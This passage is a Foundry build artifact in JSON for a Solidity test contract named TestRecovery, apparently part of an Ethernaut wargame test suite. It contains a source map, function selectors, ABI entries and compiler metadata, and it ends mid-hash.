;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;20239:184::-;20309:6;20362:2;20350:9;20341:7;20337:23;20333:32;20330:52;;;20378:1;20375;20368:12;20330:52;-1:-1:-1;20401:16:155;;20239:184;-1:-1:-1;20239:184:155:o;20428:125::-;20493:9;;;20514:10;;;20511:36;;;20527:18;;:::i;20740:383::-;20937:2;20926:9;20919:21;20900:4;20963:45;21004:2;20993:9;20989:18;20981:6;20963:45;:::i;:::-;21056:9;21048:6;21044:22;21039:2;21028:9;21024:18;21017:50;21084:33;21110:6;21102;21084:33;:::i;:::-;21076:41;20740:383;-1:-1:-1;;;;;20740:383:155:o;21128:335::-;21207:6;21260:2;21248:9;21239:7;21235:23;21231:32;21228:52;;;21276:1;21273;21266:12;21228:52;21309:9;21303:16;21342:18;21334:6;21331:30;21328:50;;;21374:1;21371;21364:12;21328:50;21397:60;21449:7;21440:6;21429:9;21425:22;21397:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Recovery.t.sol\":\"TestRecovery\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649